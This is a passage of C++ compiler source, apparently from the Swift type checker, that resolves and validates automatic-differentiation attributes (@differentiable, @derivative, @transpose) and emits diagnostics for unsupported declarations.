// Otherwise, emit a "candidate does not have expected type ..." error.
diags.diagnose(invalidCandidate,
diag::autodiff_attr_original_decl_type_mismatch,
declKind, expectedOriginalFnType,
/*hasGenericSignature*/ false);
break;
}
case AbstractFunctionDeclLookupErrorKind::CandidateWrongTypeContext:
diags.diagnose(invalidCandidate,
diag::autodiff_attr_original_decl_not_same_type_context,
declKind);
break;
case AbstractFunctionDeclLookupErrorKind::CandidateMissingAccessor: {
auto accessorKind = maybeAccessorKind.getValueOr(AccessorKind::Get);
auto accessorDeclKind = getAccessorDescriptiveDeclKind(accessorKind);
diags.diagnose(invalidCandidate,
diag::autodiff_attr_original_decl_missing_accessor,
declKind, accessorDeclKind);
break;
}
case AbstractFunctionDeclLookupErrorKind::CandidateProtocolRequirement:
diags.diagnose(invalidCandidate,
diag::derivative_attr_protocol_requirement_unsupported);
break;
case AbstractFunctionDeclLookupErrorKind::CandidateNotFunctionDeclaration:
diags.diagnose(invalidCandidate,
diag::autodiff_attr_original_decl_invalid_kind,
declKind);
break;
}
}
return nullptr;
}
// Error if there are multiple valid candidates.
if (validCandidates.size() > 1) {
diags.diagnose(funcNameLoc, diag::autodiff_attr_original_decl_ambiguous,
funcName);
for (auto *validCandidate : validCandidates) {
auto declKind = validCandidate->getDescriptiveKind();
diags.diagnose(validCandidate,
diag::autodiff_attr_original_decl_ambiguous_candidate,
declKind);
}
return nullptr;
}
// Success if there is one unambiguous valid candidate.
return validCandidates.front();
}
/// Checks that the `candidate` function type equals the `required` function
/// type, disregarding parameter labels and tuple result labels.
/// `checkGenericSignature` is used to check generic signatures, if specified.
/// Otherwise, generic signatures are checked for equality.
static bool checkFunctionSignature(
CanAnyFunctionType required, CanType candidate,
Optional<std::function<bool(GenericSignature, GenericSignature)>>
checkGenericSignature = None) {
// Check that candidate is actually a function.
auto candidateFnTy = dyn_cast<AnyFunctionType>(candidate);
if (!candidateFnTy)
return false;
// Erase dynamic self types.
required = dyn_cast<AnyFunctionType>(required->getCanonicalType());
candidateFnTy = dyn_cast<AnyFunctionType>(candidateFnTy->getCanonicalType());
// Check that generic signatures match.
auto requiredGenSig = required.getOptGenericSignature();
auto candidateGenSig = candidateFnTy.getOptGenericSignature();
// Call generic signature check function, if specified.
// Otherwise, check that generic signatures are equal.
if (!checkGenericSignature) {
if (candidateGenSig != requiredGenSig)
return false;
} else if (!(*checkGenericSignature)(requiredGenSig, candidateGenSig)) {
return false;
}
// Map type into the required function type's generic signature, if it exists.
// This is significant when the required generic signature has same-type
// requirements while the candidate generic signature does not.
auto mapType = [&](Type type) {
if (!requiredGenSig)
return type->getCanonicalType();
return requiredGenSig->getCanonicalTypeInContext(type);
};
// Check that parameter types match, disregarding labels.
if (required->getNumParams() != candidateFnTy->getNumParams())
return false;
if (!std::equal(required->getParams().begin(), required->getParams().end(),
candidateFnTy->getParams().begin(),
[&](AnyFunctionType::Param x, AnyFunctionType::Param y) {
return x.getOldType()->isEqual(mapType(y.getOldType()));
}))
return false;
// If required result type is not a function type, check that result types
// match exactly.
auto requiredResultFnTy = dyn_cast<AnyFunctionType>(required.getResult());
auto candidateResultTy = mapType(candidateFnTy.getResult());
if (!requiredResultFnTy) {
auto requiredResultTupleTy = dyn_cast<TupleType>(required.getResult());
auto candidateResultTupleTy = dyn_cast<TupleType>(candidateResultTy);
if (!requiredResultTupleTy || !candidateResultTupleTy)
return required.getResult()->isEqual(candidateResultTy);
// If result types are tuple types, check that element types match,
// ignoring labels.
if (requiredResultTupleTy->getNumElements() !=
candidateResultTupleTy->getNumElements())
return false;
return std::equal(requiredResultTupleTy.getElementTypes().begin(),
requiredResultTupleTy.getElementTypes().end(),
candidateResultTupleTy.getElementTypes().begin(),
[](CanType x, CanType y) { return x->isEqual(y); });
}
// Required result type is a function. Recurse.
return checkFunctionSignature(requiredResultFnTy, candidateResultTy);
};
/// Returns an `AnyFunctionType` from the given parameters, result type, and
/// generic signature.
static AnyFunctionType *
makeFunctionType(ArrayRef<AnyFunctionType::Param> parameters, Type resultType,
GenericSignature genericSignature) {
if (genericSignature)
return GenericFunctionType::get(genericSignature, parameters, resultType);
return FunctionType::get(parameters, resultType);
}
/// Computes the original function type corresponding to the given derivative
/// function type. Used for `@derivative` attribute type-checking.
static AnyFunctionType *
getDerivativeOriginalFunctionType(AnyFunctionType *derivativeFnTy) {
// Unwrap curry levels. At most, two parameter lists are necessary, for
// curried method types with a `(Self)` parameter list.
SmallVector<AnyFunctionType *, 2> curryLevels;
auto *currentLevel = derivativeFnTy;
for (unsigned i : range(2)) {
(void)i;
if (currentLevel == nullptr)
break;
curryLevels.push_back(currentLevel);
currentLevel = currentLevel->getResult()->getAs<AnyFunctionType>();
}
auto derivativeResult = curryLevels.back()->getResult()->getAs<TupleType>();
assert(derivativeResult && derivativeResult->getNumElements() == 2 &&
"Expected derivative result to be a two-element tuple");
auto originalResult = derivativeResult->getElement(0).getType();
auto *originalType = makeFunctionType(
curryLevels.back()->getParams(), originalResult,
curryLevels.size() == 1 ? derivativeFnTy->getOptGenericSignature()
: nullptr);
// Wrap the derivative function type in additional curry levels.
auto curryLevelsWithoutLast =
ArrayRef<AnyFunctionType *>(curryLevels).drop_back(1);
for (auto pair : enumerate(llvm::reverse(curryLevelsWithoutLast))) {
unsigned i = pair.index();
AnyFunctionType *curryLevel = pair.value();
originalType =
makeFunctionType(curryLevel->getParams(), originalType,
i == curryLevelsWithoutLast.size() - 1
? derivativeFnTy->getOptGenericSignature()
: nullptr);
}
return originalType;
}
/// Computes the original function type corresponding to the given transpose
/// function type. Used for `@transpose` attribute type-checking.
static AnyFunctionType *
getTransposeOriginalFunctionType(AnyFunctionType *transposeFnType,
IndexSubset *linearParamIndices,
bool wrtSelf) {
unsigned transposeParamsIndex = 0;
// Get the transpose function's parameters and result type.
auto transposeParams = transposeFnType->getParams();
auto transposeResult = transposeFnType->getResult();
bool isCurried = transposeResult->is<AnyFunctionType>();
if (isCurried) {
auto methodType = transposeResult->castTo<AnyFunctionType>();
transposeParams = methodType->getParams();
transposeResult = methodType->getResult();
}
// Get the original function's result type.
// The original result type is always equal to the type of the last
// parameter of the transpose function type.
auto originalResult = transposeParams.back().getPlainType();
// Get transposed result types.
// The transpose function result type may be a singular type or a tuple type.
SmallVector<TupleTypeElt, 4> transposeResultTypes;
if (auto transposeResultTupleType = transposeResult->getAs<TupleType>()) {
transposeResultTypes.append(transposeResultTupleType->getElements().begin(),
transposeResultTupleType->getElements().end());
} else {
transposeResultTypes.push_back(transposeResult);
}
// Get the `Self` type, if the transpose function type is curried.
// - If `self` is a linearity parameter, use the first transpose result type.
// - Otherwise, use the first transpose parameter type.
unsigned transposeResultTypesIndex = 0;
Type selfType;
if (isCurried && wrtSelf) {
selfType = transposeResultTypes.front().getType();
++transposeResultTypesIndex;
} else if (isCurried) {
selfType = transposeFnType->getParams().front().getPlainType();
}
// Get the original function's parameters.
SmallVector<AnyFunctionType::Param, 8> originalParams;
// The number of original parameters is equal to the sum of:
// - The number of original non-transposed parameters.
// - This is the number of transpose parameters minus one. All transpose
// parameters come from the original function, except the last parameter
// (the transposed original result).
// - The number of original transposed parameters.
// - This is the number of linearity parameters.
unsigned originalParameterCount =
transposeParams.size() - 1 + linearParamIndices->getNumIndices();
// Iterate over all original parameter indices.
for (auto i : range(originalParameterCount)) {
// Skip `self` parameter if `self` is a linearity parameter.
// The `self` is handled specially later to form a curried function type.
bool isSelfParameterAndWrtSelf =
wrtSelf && i == linearParamIndices->getCapacity() - 1;
if (isSelfParameterAndWrtSelf)
continue;
// If `i` is a linearity parameter index, the next original parameter is
// the next transpose result.
if (linearParamIndices->contains(i)) {
auto resultType =
transposeResultTypes[transposeResultTypesIndex++].getType();
originalParams.push_back(AnyFunctionType::Param(resultType));
}
// Otherwise, the next original parameter is the next transpose parameter.
else {
originalParams.push_back(transposeParams[transposeParamsIndex++]);
}
}
// Compute the original function type.
AnyFunctionType *originalType;
// If the transpose type is curried, the original function type is:
// `(Self) -> (<original parameters>) -> <original result>`.
if (isCurried) {
assert(selfType && "`Self` type should be resolved");
originalType = makeFunctionType(originalParams, originalResult, nullptr);
originalType =
makeFunctionType(AnyFunctionType::Param(selfType), originalType,
transposeFnType->getOptGenericSignature());
}
// Otherwise, the original function type is simply:
// `(<original parameters>) -> <original result>`.
else {
originalType = makeFunctionType(originalParams, originalResult,
transposeFnType->getOptGenericSignature());
}
return originalType;
}
/// Given a `@differentiable` attribute, attempts to resolve the original
/// `AbstractFunctionDecl` for which it is registered, using the declaration
/// on which it is actually declared. On error, emits diagnostic and returns
/// `nullptr`.
AbstractFunctionDecl *
resolveDifferentiableAttrOriginalFunction(DifferentiableAttr *attr) {
auto *D = attr->getOriginalDeclaration();
assert(D &&
"Original declaration should be resolved by parsing/deserialization");
auto &ctx = D->getASTContext();
auto &diags = ctx.Diags;
auto *original = dyn_cast<AbstractFunctionDecl>(D);
if (auto *asd = dyn_cast<AbstractStorageDecl>(D)) {
// If `@differentiable` attribute is declared directly on a
// `AbstractStorageDecl` (a stored/computed property or subscript),
// forward the attribute to the storage's getter.
// TODO(TF-129): Forward `@differentiable` attributes to setters after
// differentiation supports inout parameters.
// TODO(TF-1080): Forward `@differentiable` attributes to `read` and
// `modify` accessors after differentiation supports `inout` parameters.
if (!asd->getDeclContext()->isModuleScopeContext()) {
original = asd->getSynthesizedAccessor(AccessorKind::Get);
} else {
original = nullptr;
}
}
// Non-`get` accessors are not yet supported: `set`, `read`, and `modify`.
// TODO(TF-1080): Enable `read` and `modify` when differentiation supports
// coroutines.
if (auto *accessor = dyn_cast_or_null<AccessorDecl>(original))
if (!accessor->isGetter() && !accessor->isSetter())
original = nullptr;
// Diagnose if original `AbstractFunctionDecl` could not be resolved.
if (!original) {
diagnoseAndRemoveAttr(diags, D, attr, diag::invalid_decl_attribute, attr);
attr->setInvalid();
return nullptr;
}
// If the original function has an error interface type, return.
// A diagnostic should have already been emitted.
if (original->getInterfaceType()->hasError())
return nullptr;
return original;
}
/// Given a `@differentiable` attribute, attempts to resolve the derivative
/// generic signature. The derivative generic signature is returned as
/// `derivativeGenSig`. On error, emits diagnostic, assigns `nullptr` to
/// `derivativeGenSig`, and returns true.
bool resolveDifferentiableAttrDerivativeGenericSignature(
DifferentiableAttr *attr, AbstractFunctionDecl *original,
GenericSignature &derivativeGenSig) {
derivativeGenSig = nullptr;
auto &ctx = original->getASTContext();
auto &diags = ctx.Diags;
bool isOriginalProtocolRequirement =
isa<ProtocolDecl>(original->getDeclContext()) &&
original->isProtocolRequirement();
// Compute the derivative generic signature for the `@differentiable`
// attribute:
// - If the `@differentiable` attribute has a `where` clause, use it to
// compute the derivative generic signature.
// - Otherwise, use the original function's generic signature by default.
derivativeGenSig = original->getGenericSignature();
// Handle the `where` clause, if it exists.
// - Resolve attribute where clause requirements and store in the attribute
// for serialization.
// - Compute generic signature for autodiff derivative functions based on
// the original function's generate signature and the attribute's where
// clause requirements.
if (auto *whereClause = attr->getWhereClause()) {
// `@differentiable` attributes on protocol requirements do not support
// `where` clauses.
if (isOriginalProtocolRequirement) {
diags.diagnose(attr->getLocation(),
diag::differentiable_attr_protocol_req_where_clause);
attr->setInvalid();
return true;
}
if (whereClause->getRequirements().empty()) {
// `where` clause must not be empty.
diags.diagnose(attr->getLocation(),
diag::differentiable_attr_empty_where_clause);
attr->setInvalid();
return true;
}
auto originalGenSig = original->getGenericSignature();
if (!originalGenSig) {
// `where` clauses are valid only when the original function is generic.
diags
.diagnose(
attr->getLocation(),
diag::differentiable_attr_where_clause_for_nongeneric_original,
original->getName())
.highlight(whereClause->getSourceRange());
attr->setInvalid();
return true;
}
// Build a new generic signature for autodiff derivative functions.
GenericSignatureBuilder builder(ctx);
// Add the original function's generic signature.
builder.addGenericSignature(originalGenSig);
using FloatingRequirementSource =
GenericSignatureBuilder::FloatingRequirementSource;
bool errorOccurred = false;
WhereClauseOwner(original, attr)
.visitRequirements(
TypeResolutionStage::Structural,
[&](const Requirement &req, RequirementRepr *reqRepr) {
switch (req.getKind()) {
case RequirementKind::SameType:
case RequirementKind::Superclass:
case RequirementKind::Conformance:
break;
// Layout requirements are not supported.
case RequirementKind::Layout:
diags
.diagnose(attr->getLocation(),
diag::differentiable_attr_layout_req_unsupported)
.highlight(reqRepr->getSourceRange());
errorOccurred = true;
return false;
}
// Add requirement to generic signature builder.
builder.addRequirement(
req, reqRepr, FloatingRequirementSource::forExplicit(reqRepr),
nullptr, original->getModuleContext());
return false;
});
if (errorOccurred) {
attr->setInvalid();
return true;
}
// Compute generic signature for derivative functions.
derivativeGenSig = std::move(builder).computeGenericSignature(
attr->getLocation(), /*allowConcreteGenericParams=*/true);
}
attr->setDerivativeGenericSignature(derivativeGenSig);
return false;
}
/// Given a `@differentiable` attribute, attempts to resolve and validate the
/// differentiability parameter indices. The parameter indices are returned as
/// `diffParamIndices`. On error, emits diagnostic, assigns `nullptr` to
/// `diffParamIndices`, and returns true.
bool resolveDifferentiableAttrDifferentiabilityParameters(
DifferentiableAttr *attr, AbstractFunctionDecl *original,
AnyFunctionType *originalFnRemappedTy, GenericEnvironment *derivativeGenEnv,
IndexSubset *&diffParamIndices) {
diffParamIndices = nullptr;
auto &ctx = original->getASTContext();
auto &diags = ctx.Diags;
// Get the parsed differentiability parameter indices, which have not yet been
// resolved. Parsed differentiability parameter indices are defined only for
// parsed attributes.
auto parsedDiffParams = attr->getParsedParameters();
diffParamIndices = computeDifferentiabilityParameters(
parsedDiffParams, original, derivativeGenEnv, attr->getAttrName(),
attr->getLocation());
if (!diffParamIndices) {
attr->setInvalid();
return true;
}
// Check if differentiability parameter indices are valid.
// Do this by compute the expected differential type and checking whether
// there is an error.
auto expectedLinearMapTypeOrError =
originalFnRemappedTy->getAutoDiffDerivativeFunctionLinearMapType(
diffParamIndices, AutoDiffLinearMapKind::Differential,
LookUpConformanceInModule(original->getModuleContext()),
/*makeSelfParamFirst*/ true);
// Helper for diagnosing derivative function type errors.
auto errorHandler = [&](const DerivativeFunctionTypeError &error) {
attr->setInvalid();
switch (error.kind) {
case DerivativeFunctionTypeError::Kind::NoSemanticResults:
diags
.diagnose(attr->getLocation(),
diag::autodiff_attr_original_void_result,
original->getName())
.highlight(original->getSourceRange());
return;
case DerivativeFunctionTypeError::Kind::MultipleSemanticResults:
diags
.diagnose(attr->getLocation(),
diag::autodiff_attr_original_multiple_semantic_results)
.highlight(original->getSourceRange());
return;
case DerivativeFunctionTypeError::Kind::NoDifferentiabilityParameters:
diags.diagnose(attr->getLocation(),
diag::diff_params_clause_no_inferred_parameters);
return;
case DerivativeFunctionTypeError::Kind::
NonDifferentiableDifferentiabilityParameter: {
auto nonDiffParam = error.getNonDifferentiableTypeAndIndex();
SourceLoc loc = parsedDiffParams.empty()
? attr->getLocation()
: parsedDiffParams[nonDiffParam.second].getLoc();
diags.diagnose(loc, diag::diff_params_clause_param_not_differentiable,
nonDiffParam.first);
return;
}
case DerivativeFunctionTypeError::Kind::NonDifferentiableResult:
auto nonDiffResult = error.getNonDifferentiableTypeAndIndex();
diags.diagnose(attr->getLocation(),
diag::autodiff_attr_result_not_differentiable,
nonDiffResult.first);
return;
}
};
// Diagnose any derivative function type errors.
if (!expectedLinearMapTypeOrError) {
auto error = expectedLinearMapTypeOrError.takeError();
handleAllErrors(std::move(error), errorHandler);
return true;
}
return false;
}
/// Checks whether differentiable programming is enabled for the given
/// differentiation-related attribute. Returns true on error.
bool checkIfDifferentiableProgrammingEnabled(ASTContext &ctx,
DeclAttribute *attr,
DeclContext *DC) {
auto &diags = ctx.Diags;
auto *SF = DC->getParentSourceFile();
assert(SF && "Source file not found");
// The `Differentiable` protocol must be available.
// If unavailable, the `_Differentiation` module should be imported.
if (isDifferentiableProgrammingEnabled(*SF))
return false;
diags
.diagnose(attr->getLocation(), diag::attr_used_without_required_module,
attr, ctx.Id_Differentiation)
.highlight(attr->getRangeWithAt());
return true;
}
IndexSubset *DifferentiableAttributeTypeCheckRequest::evaluate(
Evaluator &evaluator, DifferentiableAttr *attr) const {
// Skip type-checking for implicit `@differentiable` attributes. We currently
// assume that all implicit `@differentiable` attributes are valid.
//
// Motivation: some implicit attributes do not have a `where` clause, and this
// function assumes that the `where` clauses exist. Propagating `where`
// clauses and requirements consistently is a larger problem, to be revisited.
if (attr->isImplicit())
return nullptr;
auto *D = attr->getOriginalDeclaration();
auto &ctx = D->getASTContext();
auto &diags = ctx.Diags;
// `@differentiable` attribute requires experimental differentiable
// programming to be enabled.
if (checkIfDifferentiableProgrammingEnabled(ctx, attr, D->getDeclContext()))
return nullptr;
// Resolve the original `AbstractFunctionDecl`.
auto *original = resolveDifferentiableAttrOriginalFunction(attr);
if (!original)
return nullptr;
auto *originalFnTy = original->getInterfaceType()->castTo<AnyFunctionType>();
// Diagnose if original function has opaque result types.
if (auto *opaqueResultTypeDecl = original->getOpaqueResultTypeDecl()) {
diags.diagnose(
attr->getLocation(),
diag::autodiff_attr_opaque_result_type_unsupported);
attr->setInvalid();
return nullptr;
}
// Diagnose if original function is an invalid class member.
bool isOriginalClassMember = original->getDeclContext() &&
original->getDeclContext()->getSelfClassDecl();
if (isOriginalClassMember) {
auto *classDecl = original->getDeclContext()->getSelfClassDecl();
assert(classDecl);
// Class members returning dynamic `Self` are not supported.
// Dynamic `Self` is supported only as a single top-level result for class
// members. JVP/VJP functions returning `(Self, ...)` tuples would not
// type-check.
bool diagnoseDynamicSelfResult = original->hasDynamicSelfResult();
if (diagnoseDynamicSelfResult) {
// Diagnose class initializers in non-final classes.
if (isa<ConstructorDecl>(original)) {
if (!classDecl->isFinal()) {
diags.diagnose(
attr->getLocation(),
diag::differentiable_attr_nonfinal_class_init_unsupported,
classDecl->getDeclaredInterfaceType());
attr->setInvalid();
return nullptr;
}
}
// Diagnose all other declarations returning dynamic `Self`.
else {
diags.diagnose(
attr->getLocation(),
diag::
differentiable_attr_class_member_dynamic_self_result_unsupported);
attr->setInvalid();
return nullptr;
}
}
}
// Resolve the derivative generic signature.
GenericSignature derivativeGenSig = nullptr;
if (resolveDifferentiableAttrDerivativeGenericSignature(attr, original,
derivativeGenSig))
return nullptr;
GenericEnvironment *derivativeGenEnv = nullptr;
if (derivativeGenSig)
derivativeGenEnv = derivativeGenSig->getGenericEnvironment();
// Compute the derivative function type.
auto originalFnRemappedTy = originalFnTy;
if (derivativeGenEnv)
originalFnRemappedTy =
derivativeGenEnv->mapTypeIntoContext(originalFnRemappedTy)
->castTo<AnyFunctionType>();
// Resolve and validate the differentiability parameters.
IndexSubset *resolvedDiffParamIndices = nullptr;
if (resolveDifferentiableAttrDifferentiabilityParameters(
attr, original, originalFnRemappedTy, derivativeGenEnv,
resolvedDiffParamIndices))
return nullptr;
if (auto *asd = dyn_cast<AbstractStorageDecl>(D)) {
// Remove `@differentiable` attribute from storage declaration to prevent
// duplicate attribute registration during SILGen.
D->getAttrs().removeAttribute(attr);
// Transfer `@differentiable` attribute from storage declaration to
// getter accessor.
auto *getterDecl = asd->getOpaqueAccessor(AccessorKind::Get);
auto *newAttr = DifferentiableAttr::create(
getterDecl, /*implicit*/ true, attr->AtLoc, attr->getRange(),
attr->isLinear(), resolvedDiffParamIndices,
attr->getDerivativeGenericSignature());
auto insertion = ctx.DifferentiableAttrs.try_emplace(
{getterDecl, resolvedDiffParamIndices}, newAttr);
// Reject duplicate `@differentiable` attributes.
if (!insertion.second) {
diagnoseAndRemoveAttr(diags, D, attr,
diag::differentiable_attr_duplicate);
diags.diagnose(insertion.first->getSecond()->getLocation(),
diag::differentiable_attr_duplicate_note);
return nullptr;
}
getterDecl->getAttrs().add(newAttr);
// Register derivative function configuration.
auto *resultIndices = IndexSubset::get(ctx, 1, {0});
getterDecl->addDerivativeFunctionConfiguration(
{resolvedDiffParamIndices, resultIndices, derivativeGenSig});
return resolvedDiffParamIndices;
}
// Reject duplicate `@differentiable` attributes.
auto insertion =
ctx.DifferentiableAttrs.try_emplace({D, resolvedDiffParamIndices}, attr);
if (!insertion.second && insertion.first->getSecond() != attr) {
diagnoseAndRemoveAttr(diags, D, attr, diag::differentiable_attr_duplicate);
diags.diagnose(insertion.first->getSecond()->getLocation(),
diag::differentiable_attr_duplicate_note);
return nullptr;
}
// Register derivative function configuration.
auto *resultIndices = IndexSubset::get(ctx, 1, {0});
original->addDerivativeFunctionConfiguration(
{resolvedDiffParamIndices, resultIndices, derivativeGenSig});
return resolvedDiffParamIndices;
}
void AttributeChecker::visitDifferentiableAttr(DifferentiableAttr *attr) {
// Call `getParameterIndices` to trigger
// `DifferentiableAttributeTypeCheckRequest`.
(void)attr->getParameterIndices();
}
/// Type-checks the given `@derivative` attribute `attr` on declaration `D`.
///
/// Effects are:
/// - Sets the original function and parameter indices on `attr`.
/// - Diagnoses errors.
/// - Stores the attribute in `ASTContext::DerivativeAttrs`.
///
/// \returns true on error, false on success.
static bool typeCheckDerivativeAttr(ASTContext &Ctx, Decl *D,
DerivativeAttr *attr) {
// Note: Implementation must be idempotent because it may be called multiple
// times for the same attribute.
auto &diags = Ctx.Diags;
// `@derivative` attribute requires experimental differentiable programming
// to be enabled.
if (checkIfDifferentiableProgrammingEnabled(Ctx, attr, D->getDeclContext()))
return true;
auto *derivative = cast<FuncDecl>(D);
auto originalName = attr->getOriginalFunctionName();
auto *derivativeInterfaceType =
derivative->getInterfaceType()->castTo<AnyFunctionType>();
// Perform preliminary `@derivative` declaration checks.
// The result type should be a two-element tuple.
// Either a value and pullback:
// (value: R, pullback: (R.TangentVector) -> (T.TangentVector...)
// Or a value and differential:
// (value: R, differential: (T.TangentVector...) -> (R.TangentVector)
auto derivativeResultType = derivative->getResultInterfaceType();
auto derivativeResultTupleType = derivativeResultType->getAs<TupleType>();
if (!derivativeResultTupleType ||
derivativeResultTupleType->getNumElements() != 2) {
diags.diagnose(attr->getLocation(),
diag::derivative_attr_expected_result_tuple);
return true;
}
auto valueResultElt = derivativeResultTupleType->getElement(0);
auto funcResultElt = derivativeResultTupleType->getElement(1);
// Get derivative kind and derivative function identifier.
AutoDiffDerivativeFunctionKind kind;
if (valueResultElt.getName().str() != "value") {
diags.diagnose(attr->getLocation(),
diag::derivative_attr_invalid_result_tuple_value_label);
return true;
}
if (funcResultElt.getName().str() == "differential") {
kind = AutoDiffDerivativeFunctionKind::JVP;
} else if (funcResultElt.getName().str() == "pullback") {
kind = AutoDiffDerivativeFunctionKind::VJP;
} else {
diags.diagnose(attr->getLocation(),
diag::derivative_attr_invalid_result_tuple_func_label);
return true;
}
attr->setDerivativeKind(kind);
// Compute expected original function type and look up original function.
auto *originalFnType =
getDerivativeOriginalFunctionType(derivativeInterfaceType);
// Returns true if the generic parameters in `source` satisfy the generic
// requirements in `target`.
std::function<bool(GenericSignature, GenericSignature)>
checkGenericSignatureSatisfied = [&](GenericSignature source,
GenericSignature target) {
// If target is null, then its requirements are satisfied.
if (!target)
return true;
// If source is null but target is not null, then target's
// requirements are not satisfied.
if (!source)
return false;
return target->requirementsNotSatisfiedBy(source).empty();
};
// Returns true if the derivative function and original function candidate are
// defined in compatible type contexts. If the derivative function and the
// original function candidate have different parents, return false.
auto hasValidTypeContext = [&](AbstractFunctionDecl *originalCandidate) {
// Check if both functions are top-level.
if (!derivative->getInnermostTypeContext() &&
!originalCandidate->getInnermostTypeContext())
return true;
// Check if both functions are defined in the same type context.
if (auto typeCtx1 = derivative->getInnermostTypeContext())
if (auto typeCtx2 = originalCandidate->getInnermostTypeContext()) {
return typeCtx1->getSelfNominalTypeDecl() ==
typeCtx2->getSelfNominalTypeDecl();
}
return derivative->getParent() == originalCandidate->getParent();
};
auto isValidOriginalCandidate = [&](AbstractFunctionDecl *originalCandidate)
-> Optional<AbstractFunctionDeclLookupErrorKind> {
// Error if the original candidate is a protocol requirement. Derivative
// registration does not yet support protocol requirements.
// TODO(TF-982): Allow default derivative implementations for protocol
// requirements.
if (isa<ProtocolDecl>(originalCandidate->getDeclContext()))
return AbstractFunctionDeclLookupErrorKind::CandidateProtocolRequirement;
// Error if the original candidate is not defined in a type context
// compatible with the derivative function.
if (!hasValidTypeContext(originalCandidate))
return AbstractFunctionDeclLookupErrorKind::CandidateWrongTypeContext;
// Error if the original candidate does not have the expected type.
if (!checkFunctionSignature(
cast<AnyFunctionType>(originalFnType->getCanonicalType()),
originalCandidate->getInterfaceType()->getCanonicalType(),
checkGenericSignatureSatisfied))
return AbstractFunctionDeclLookupErrorKind::CandidateTypeMismatch;
return None;
};
Type baseType;
if (auto *baseTypeRepr = attr->getBaseTypeRepr()) {
const auto options =
TypeResolutionOptions(None) | TypeResolutionFlags::AllowModule;
baseType =
TypeResolution::forContextual(derivative->getDeclContext(), options,
/*unboundTyOpener*/ nullptr)
.resolveType(baseTypeRepr);
}
if (baseType && baseType->hasError())
return true;
auto lookupOptions = attr->getBaseTypeRepr()
? defaultMemberLookupOptions
: defaultUnqualifiedLookupOptions;
auto derivativeTypeCtx = derivative->getInnermostTypeContext();
if (!derivativeTypeCtx)
derivativeTypeCtx = derivative->getParent();
assert(derivativeTypeCtx);
// Diagnose unsupported original accessor kinds.
// Currently, only getters and setters are supported.
if (originalName.AccessorKind.hasValue()) {
if (*originalName.AccessorKind != AccessorKind::Get &&
*originalName.AccessorKind != AccessorKind::Set) {
attr->setInvalid();
diags.diagnose(
originalName.Loc, diag::derivative_attr_unsupported_accessor_kind,
getAccessorDescriptiveDeclKind(*originalName.AccessorKind));
return true;
}
}
// Look up original function.
auto *originalAFD = findAutoDiffOriginalFunctionDecl(
attr, baseType, originalName, derivativeTypeCtx, lookupOptions,
isValidOriginalCandidate, originalFnType);
if (!originalAFD) {
attr->setInvalid();
return true;
}
// Diagnose original stored properties. Stored properties cannot have custom
// registered derivatives.
if (auto *accessorDecl = dyn_cast<AccessorDecl>(originalAFD)) {
// Diagnose original stored properties. Stored properties cannot have custom
// registered derivatives.
auto *asd = accessorDecl->getStorage();
if (asd->hasStorage()) {
diags.diagnose(originalName.Loc,
diag::derivative_attr_original_stored_property_unsupported,
originalName.Name);
diags.diagnose(originalAFD->getLoc(), diag::decl_declared_here,
asd->getName());
return true;
}
// Diagnose original class property and subscript setters.
// TODO(SR-13096): Fix derivative function typing results regarding
// class-typed function parameters.
if (asd->getDeclContext()->getSelfClassDecl() &&
accessorDecl->getAccessorKind() == AccessorKind::Set) {
diags.diagnose(originalName.Loc,
diag::derivative_attr_class_setter_unsupported);
diags.diagnose(originalAFD->getLoc(), diag::decl_declared_here,
asd->getName());
return true;
}
}
// Diagnose if original function has opaque result types.
if (auto *opaqueResultTypeDecl = originalAFD->getOpaqueResultTypeDecl()) {
diags.diagnose(
attr->getLocation(),
diag::autodiff_attr_opaque_result_type_unsupported);
attr->setInvalid();
return true;
}
// Diagnose if original function is an invalid class member.
bool isOriginalClassMember =
originalAFD->getDeclContext() &&
originalAFD->getDeclContext()->getSelfClassDecl();
if (isOriginalClassMember) {
auto *classDecl = originalAFD->getDeclContext()->getSelfClassDecl();
assert(classDecl);
// Class members returning dynamic `Self` are not supported.
// Dynamic `Self` is supported only as a single top-level result for class
// members. JVP/VJP functions returning `(Self, ...)` tuples would not
// type-check.
bool diagnoseDynamicSelfResult = originalAFD->hasDynamicSelfResult();
if (diagnoseDynamicSelfResult) {
// Diagnose class initializers in non-final classes.
if (isa<ConstructorDecl>(originalAFD)) {
if (!classDecl->isFinal()) {
diags.diagnose(attr->getLocation(),
diag::derivative_attr_nonfinal_class_init_unsupported,
classDecl->getDeclaredInterfaceType());
return true;
}
}
// Diagnose all other declarations returning dynamic `Self`.
else {
diags.diagnose(
attr->getLocation(),
diag::derivative_attr_class_member_dynamic_self_result_unsupported,
DeclNameRef(originalAFD->getName()));
return true;
}
}
}
attr->setOriginalFunction(originalAFD);
// Returns true if:
// - Original function and derivative function have the same access level.
// - Original function is public and derivative function is internal
// `@usableFromInline`. This is the only special case.
auto compatibleAccessLevels = [&]() {
if (originalAFD->getFormalAccess() == derivative->getFormalAccess())
return true;
return originalAFD->getFormalAccess() == AccessLevel::Public &&
(derivative->getFormalAccess() == AccessLevel::Public ||
derivative->isUsableFromInline());
};
// Check access level compatibility for original and derivative functions.
if (!compatibleAccessLevels()) {
auto originalAccess = originalAFD->getFormalAccess();
auto derivativeAccess =
derivative->getFormalAccessScope().accessLevelForDiagnostics();
diags.diagnose(originalName.Loc,
diag::derivative_attr_access_level_mismatch,
originalAFD->getName(), originalAccess,
derivative->getName(), derivativeAccess);
auto fixItDiag =
derivative->diagnose(diag::derivative_attr_fix_access, originalAccess);
// If original access is public, suggest adding `@usableFromInline` to
// derivative.
if (originalAccess == AccessLevel::Public) {
fixItDiag.fixItInsert(
derivative->getAttributeInsertionLoc(/*forModifier*/ false),
"@usableFromInline ");
}
// Otherwise, suggest changing derivative access level.
else {
fixItAccess(fixItDiag, derivative, originalAccess);
}
return true;
}
// Get the resolved differentiability parameter indices.
auto *resolvedDiffParamIndices = attr->getParameterIndices();
// Get the parsed differentiability parameter indices, which have not yet been
// resolved. Parsed differentiability parameter indices are defined only for
// parsed attributes.
auto parsedDiffParams = attr->getParsedParameters();
// If differentiability parameter indices are not resolved, compute them.
if (!resolvedDiffParamIndices)
resolvedDiffParamIndices = computeDifferentiabilityParameters(
parsedDiffParams, derivative, derivative->getGenericEnvironment(),
attr->getAttrName(), attr->getLocation());
if (!resolvedDiffParamIndices)
return true;
// Set the resolved differentiability parameter indices in the attribute.
// Differentiability parameter indices verification is done by
// `AnyFunctionType::getAutoDiffDerivativeFunctionLinearMapType` below.
attr->setParameterIndices(resolvedDiffParamIndices);
// Compute the expected differential/pullback type.
auto expectedLinearMapTypeOrError =
originalFnType->getAutoDiffDerivativeFunctionLinearMapType(
